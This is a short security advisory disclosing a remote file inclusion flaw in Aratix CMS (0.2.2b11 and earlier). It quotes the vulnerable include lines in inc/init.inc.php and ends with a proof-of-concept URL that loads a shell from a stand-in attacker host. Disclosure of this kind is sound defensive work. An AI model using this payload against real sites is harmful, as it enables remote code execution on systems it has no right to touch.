Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability

+------------------------------------------------------------------------------------------- + Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor ............: http://www.aratix.de/ + Affected Software .: Aratix <= 0.2.2 beta 11 + Download ..........: http://download.xitara.net/aratix/aratix-0.2.2beta11.tar.gz + Description .......: "Aratix is the next generation of CMS and Groupware" + Class .............: Remote File Inclusion + Risk ..............: High (Remote File Execution) + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us> +------------------------------------------------------------------------------------------- + Details: + Aratix inc/init.inc.php does not initialize the $current_path variable before using it to + include files, assuming register_globals = on, we can initialize the variable in a query + string and include a remote file of our choice. + + Vulnerable Code: + inc/init.inc.php, line(s) 16-41: + -> 16: include $current_path . 'inc/session.inc.php'; + -> 17: include $current_path . 'inc/pages.inc.php'; + -> 18: include $current_path . 'inc/modules.inc.php'; + -> 33: include $current_path . 'inc/functions.inc.php'; // Zus䴺liche Funktionen einbinden + -> 41: include $current_path . 'extern/smarty/Smarty.class.php'; + + Proof Of Concept: + http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php? +-------------------------------------------------------------------------------------------